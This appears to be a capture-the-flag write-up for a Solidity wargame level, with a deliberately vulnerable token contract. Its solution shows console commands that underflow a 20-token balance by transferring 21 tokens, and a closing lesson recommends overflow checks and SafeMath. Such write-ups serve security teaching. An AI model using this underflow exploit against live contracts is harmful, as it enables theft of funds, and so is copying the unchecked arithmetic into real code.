Skip to content

Latest commit

 

History

History
68 lines (52 loc) · 1.78 KB

05. Token.md

File metadata and controls

68 lines (52 loc) · 1.78 KB

Token

difficulty 3/10

The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
Things that might help:

  • What is an odometer?

Sources

pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

Level author

Alejandro Santander
[email protected]
https://github.com/ajsantander

Solution

  1. Check our current balance.
    web3.toDecimal(await contract.balanceOf(player))
    20

  2. Token contract doesn't check for overflow errors. We will defeat the contract by overflowing our balance. Transfer 21 tokens to address 0.
    await contract.transfer(0, 21)

  3. Check our new balance.
    web3.toDecimal(await contract.balanceOf(player))
    1.157920892373162e+77

  4. Submit instance 🎉

Lesson

Overflows are very common in solidity and must be checked for with control statements such as:

if(a + c > a) {
  a = a + c;
}

An easier alternative is to use OpenZeppelin's SafeMath library that automatically checks for overflows in all the mathematical operators. The resulting code looks like this:

a = a.add(c);

If there is an overflow, the code will revert.